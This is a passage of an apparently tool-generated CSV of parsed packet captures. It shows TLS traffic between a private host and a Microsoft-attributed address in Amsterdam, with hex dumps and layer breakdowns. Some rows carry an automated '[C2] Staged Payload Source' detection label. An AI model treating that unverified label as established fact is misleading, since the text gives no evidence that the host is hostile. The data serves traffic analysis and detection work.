18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303632343037313834325a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303632343037303330305aa011180f32303236303730313036303330305a300d06092a864886f70d01010b050003820101004909a624532538bba467f342bf77a4164fc61c9f61aef5892c642ff10b10b5e375497229d1167836b9328209ae4686461323d0fb2fbb8ab79eda23d2f9e312f198514a1e57f17235c73b963feed262025992a244b171f6c6382d073f6d74a246e647de428627e0dfa01f22529fa7c78a9d0872c395778fd9902180ad38b91a06d95956afd07db5f9bbb440f4fe959042abf96010764dadd44ea4edd385add5dcbd940a3582c547b536fd3fe65b8295e5857065d9f57a81fcdeabe1fa705937c63ec313f5bf17184e83e5697c054d2c8e403a45b5a3bb018abaa4437fad6a9050e59d94d54d99fac604cd19080887c9b22ebf5eb4e9b78df99e9ecacc11f89ab30c0001690300186104c4cdb405f394bbf71bf0d7c21d92d33c1cbc6332230ee68425f300270431e88b1abb84ad16cb9744d896d67ef69e1d2da8a48fb3e075c55b5c3c9a46c16b27de46a238db18f9f71b58c73e7511a10e75b32df0af5f1c02c8149dea228fac8a40080401005d25a6635308e1a4116445f8d3919f3e60bac86d6d5f2452c25b6ee0b861603d7a39ddd1acbb27932aa9082ecb0396c5a4038bbf62c2ecd2f163defa837ed63961c55960063106be83d1a8771e05389f4ba2a320a3274b240d21c97ecfd062f5483a33a5ad9a8422c7e5a35417141d1cbab0abe7a53d7d97b6e55f5f3f3479ce94733f85f6a5fd2d8aeff158ee073228f3530f8d8ab121d54d480092354906fdacc859668ecc0ff5805549117f72ef625205827b296a52589c974d1f4e5f8c7c704053b7284da4d440afc40d431521960929a58163c97704123eb0a4cbf6ca04ee2300665a45fdc8d6f4b367af4c1bd5ccc81fe77c324830994e8893d2d4dd4e0e000000\"\"}}]\"\n2026-06-28 14:01:47.858782,65,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,A,,,Ether > IP > TCP,3,TCP A Seq=2486874563 Ack=4213683946,bc24112907bbbc2411360d0c0800450000281190400080065a790a98980b3461b7c2f9fd01bb943ab1c3fb27b6ea5010040029440000,\".$.)...$.6\n...E..(..@...Zy\n...4a.......:...'..P...)D..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4496, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23161, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874563, \"\"ack\"\": 4213683946, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 10564, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:47.862162,66,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2486874563 Ack=4213683946,bc24112907bbbc2411360d0c0800450000c611914000800659da0a98980b3461b7c2f9fd01bb943ab1c3fb27b6ea50180400d1e400001603030066100000626104edc56bd05ec1df68fa1608294b2a5a6a63f644086cfa5ce03c564c09547469d1f009051b48d1d1cf41270516289c6abc4d3e394221582410fab871ce898c9b941007d803fed1d109af176d20d96ea8514016cbe32371590f385e9bc8ccb83a3614030300010116030300280000000000000000ee0cf23ceae991b1eb09e8915ab0e2746929778c0488acd278510f5b05e36bac,a...k.^..h...)K*Zjc.D.l.\\.<VL\tTti..\t..H...A'..(.j.M>9B!X$...q............\t..m .n.Q@...#qY.8^....:6,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 4497, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23002, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874563, \"\"ack\"\": 4213683946, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 53732, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b\\\"\"a\\\\x04\\\\xed\\\\xc5k\\\\xd0^\\\\xc1\\\\xdfh\\\\xfa\\\\x16\\\\x08)K*Zjc\\\\xf6D\\\\x08l\\\\xfa\\\\\\\\\\\\xe0<VL\\\\tTti\\\\xd1\\\\xf0\\\\t\\\\x05\\\\x1bH\\\\xd1\\\\xd1\\\\xcfA'\\\\x05\\\\x16(\\\\x9cj\\\\xbcM>9B!X$\\\\x10\\\\xfa\\\\xb8q\\\\xce\\\\x89\\\\x8c\\\\x9b\\\\x94\\\\x10\\\\x07\\\\xd8\\\\x03\\\\xfe\\\\xd1\\\\xd1\\\\t\\\\xaf\\\\x17m \\\\xd9n\\\\xa8Q@\\\\x16\\\\xcb\\\\xe3#qY\\\\x0f8^\\\\x9b\\\\xc8\\\\xcc\\\\xb8:6\\\"\" |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\xee\\\\x0c\\\\xf2<\\\\xea\\\\xe9\\\\x91\\\\xb1\\\\xeb\\\\t\\\\xe8\\\\x91Z\\\\xb0\\\\xe2ti)w\\\\x8c\\\\x04\\\\x88\\\\xac\\\\xd2xQ\\\\x0f[\\\\x05\\\\xe3k\\\\xac' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:47.862188,67,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4213683946 Ack=2486874721,bc2411360d0cbc24112907bb080045000028c4f840004006e7103461b7c20a98980b01bbf9fdfb27b6ea943ab2615010003f8ee10000,\".$.6\n..$.)....E..(..@.@...4a..\n........'...:.aP..?....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50424, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59152, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213683946, \"\"ack\"\": 2486874721, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 36577, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:48.352906,68,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=4213683946 Ack=2486874721,bc2411360d0cbc24112907bb0800450001d3c4f940004006e5643461b7c20a98980b01bbf9fdfb27b6ea943ab2615018003f908c0000160303012e0400012a00008ca00124000000009eed9f92c46849489109b6eacd2b6ccc170023fd64a997515d6b0a48532dd91c6e05dce2e1f59d24a489c9d72e7925f76981666960743e46bc6672968ce9b93e06a2b18a06024438b182f6f0534b22bd8c285cc2c7b1ebf5862828ec78e189648bad8a1bd6bb7e44ba8f4237bd23de981715e0974e5477c0a6256335faeb1e4d0ef6f44c8c3cb9b3ab329a0d5ba3a96e01fb53ba5d0528e57377c4c59cf8b23730de9289793492de520723b0bf93699ed421a8b448ac5618e3d68536faa1331f76d91df04c288ef04b27bb58b012e85e0157496aa2bb3866b6a3c61e320a489928d0dc75e93c34e66e9fe736e338dd2b2d035d813d79be71289f728d6095a6463d822f1fc116171c10ccff8a3bec1ccec311582f8e3ae621fb85cbe629fec6da140303000101160303002800000000000000006a977d06f8e20f3101a5912921356c180dbcd40853c13c442ba014589e49cd9817030300400000000000000001086a06c4c7087dcad81b75972133fdaf2430ed48b96be7510db3970e41fbbcb91e1e5aea59f977561246921eda5c80aa9ecff16b4b0eed73,\"j.}....1...)!5l.\n...S.<D+..X.I..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 50425, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58724, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213683946, \"\"ack\"\": 2486874721, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 37004, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x9e\\\\xed\\\\x9f\\\\x92\\\\xc4hIH\\\\x91\\\\t\\\\xb6\\\\xea\\\\xcd+l\\\\xcc\\\\x17\\\\x00#\\\\xfdd\\\\xa9\\\\x97Q]k\\\\nHS-\\\\xd9\\\\x1cn\\\\x05\\\\xdc\\\\xe2\\\\xe1\\\\xf5\\\\x9d$\\\\xa4\\\\x89\\\\xc9\\\\xd7.y%\\\\xf7i\\\\x81fi`t>F\\\\xbcfr\\\\x96\\\\x8c\\\\xe9\\\\xb9>\\\\x06\\\\xa2\\\\xb1\\\\x8a\\\\x06\\\\x02D8\\\\xb1\\\\x82\\\\xf6\\\\xf0SK\\\"\"\\\\xbd\\\\x8c(\\\\\\\\\\\\xc2\\\\xc7\\\\xb1\\\\xeb\\\\xf5\\\\x86((\\\\xecx\\\\xe1\\\\x89d\\\\x8b\\\\xad\\\\x8a\\\\x1b\\\\xd6\\\\xbb~D\\\\xba\\\\x8fB7\\\\xbd#\\\\xde\\\\x98\\\\x17\\\\x15\\\\xe0\\\\x97NTw\\\\xc0\\\\xa6%c5\\\\xfa\\\\xeb\\\\x1eM\\\\x0e\\\\xf6\\\\xf4L\\\\x8c<\\\\xb9\\\\xb3\\\\xab2\\\\x9a\\\\r[\\\\xa3\\\\xa9n\\\\x01\\\\xfbS\\\\xba]\\\\x05(\\\\xe5sw\\\\xc4\\\\xc5\\\\x9c\\\\xf8\\\\xb270\\\\xde\\\\x92\\\\x89y4\\\\x92\\\\xdeR\\\\x07#\\\\xb0\\\\xbf\\\\x93i\\\\x9e\\\\xd4!\\\\xa8\\\\xb4H\\\\xacV\\\\x18\\\\xe3\\\\xd6\\\\x856\\\\xfa\\\\xa13\\\\x1fv\\\\xd9\\\\x1d\\\\xf0L(\\\\x8e\\\\xf0K\\\\'\\\\xbbX\\\\xb0\\\\x12\\\\xe8^\\\\x01WIj\\\\xa2\\\\xbb8f\\\\xb6\\\\xa3\\\\xc6\\\\x1e2\\\\nH\\\\x99(\\\\xd0\\\\xdcu\\\\xe9<4\\\\xe6n\\\\x9f\\\\xe76\\\\xe38\\\\xdd+-\\\\x03]\\\\x81=y\\\\xbeq(\\\\x9fr\\\\x8d`\\\\x95\\\\xa6F=\\\\x82/\\\\x1f\\\\xc1\\\\x16\\\\x17\\\\x1c\\\\x10\\\\xcc\\\\xff\\\\x8a;\\\\xec\\\\x1c\\\\xce\\\\xc3\\\\x11X/\\\\x8e:\\\\xe6!\\\\xfb\\\\x85\\\\xcb\\\\xe6)\\\\xfe\\\\xc6\\\\xda' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'j\\\\x97}\\\\x06\\\\xf8\\\\xe2\\\\x0f1\\\\x01\\\\xa5\\\\x91)!5l\\\\x18\\\\r\\\\xbc\\\\xd4\\\\x08S\\\\xc1<D+\\\\xa0\\\\x14X\\\\x9eI\\\\xcd\\\\x98' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x08j\\\\x06\\\\xc4\\\\xc7\\\\x08}\\\\xca\\\\xd8\\\\x1bu\\\\x97!3\\\\xfd\\\\xaf$0\\\\xedH\\\\xb9k\\\\xe7Q\\\\r\\\\xb3\\\\x97\\\\x0eA\\\\xfb\\\\xbc\\\\xb9\\\\x1e\\\\x1eZ\\\\xeaY\\\\xf9wV\\\\x12F\\\\x92\\\\x1e\\\\xda\\\\\\\\\\\\x80\\\\xaa\\\\x9e\\\\xcf\\\\xf1kK\\\\x0e\\\\xeds' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:48.353041,69,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,A,,,Ether > IP > TCP,3,TCP A Seq=2486874721 Ack=4213684373,bc24112907bbbc2411360d0c0800450000281192400080065a770a98980b3461b7c2f9fd01bb943ab261fb27b895501003fe26fd0000,\".$.)...$.6\n...E..(..@...Zw\n...4a.......:.a.'..P...&...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 4498, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23159, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874721, \"\"ack\"\": 4213684373, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 9981, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:48.353768,70,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2486874721 Ack=4213684373,bc24112907bbbc2411360d0c08004500007f1193400080065a1f0a98980b3461b7c2f9fd01bb943ab261fb27b895501803fedf87000017030300520000000000000001a89b2c1e3103d314a717e3b418ce8a67942bbe45754c4d42786765a068de6d6a75127a1d9ddd1c7352bc363ca9478cc52bbf9ec07abb89cf8b65741977ed07b6c9b3b7153827df2ef3e1,\".$.)...$.6\n...E.....@...Z.\n...4a.......:.a.'..P...........R..........,.1..........g.+.EuLMBxge.h.mju.z....sR.6<.G..+...z....et.w.......8'....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 4499, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23071, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874721, \"\"ack\"\": 4213684373, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 57223, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\xa8\\\\x9b,\\\\x1e1\\\\x03\\\\xd3\\\\x14\\\\xa7\\\\x17\\\\xe3\\\\xb4\\\\x18\\\\xce\\\\x8ag\\\\x94+\\\\xbeEuLMBxge\\\\xa0h\\\\xdemju\\\\x12z\\\\x1d\\\\x9d\\\\xdd\\\\x1csR\\\\xbc6<\\\\xa9G\\\\x8c\\\\xc5+\\\\xbf\\\\x9e\\\\xc0z\\\\xbb\\\\x89\\\\xcf\\\\x8bet\\\\x19w\\\\xed\\\\x07\\\\xb6\\\\xc9\\\\xb3\\\\xb7\\\\x158'\\\\xdf.\\\\xf3\\\\xe1\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:48.353791,71,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4213684373 Ack=2486874808,bc2411360d0cbc24112907bb080045000028c4fa40004006e70e3461b7c20a98980b01bbf9fdfb27b895943ab2b85010003f8ee10000,\".$.6\n..$.)....E..(..@.@...4a..\n........'...:..P..?....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50426, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59150, \"\"src\"\": \"\"52.97.183.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63997, \"\"seq\"\": 4213684373, \"\"ack\"\": 2486874808, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 36577, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:48.353847,72,TCP 10.152.152.11:63997 -> 52.97.183.194:443,10.152.152.11,52.97.183.194,63997,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2486874808 Ack=4213684373,bc24112907bbbc2411360d0c08004500004e1194400080065a4f0a98980b3461b7c2f9fd01bb943ab2b8fb27b895501803fe1165000017030300210000000000000002fd497a872958a0d79501cf12986495549642e45c8efea96a89,\".$.)...$.6\n...E..N..@...ZO\n...4a.......:...'..P....e......!.........Iz.)X.......d.T.B.\\...j.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 4500, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 23119, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.183.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63997, \"\"dport\"\": 443, \"\"seq\"\": 2486874808, \"\"ack\"\": 4213684373, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 4453, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xfdIz\\\\x87)X\\\\xa0\\\\xd7\\\\x95\\\\x01\\\\xcf\\\\x12\\\\x98d\\\\x95T\\\\x96B\\\\xe4\\\\\\\\\\\\x8e\\\\xfe\\\\xa9j\\\\x89' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:48.353851,73,TCP 52.97.183.194:443 -> 10.152.152.11:63997,52.97.183.194,10.152.152.11,443,63997,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.183.192/27,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4213684373 Ack=2486874846,bc2411360d0cbc24112907bb080045000028c4fb40004006e70d3461b7c20a98980b01bbf9fdfb27b895943ab2de5010003f8ee10000,\".$.6\n..$.)....E..(..@.@..\n4a..\n........'...:..P..?....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 50427, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59149, \"\"src\"\": 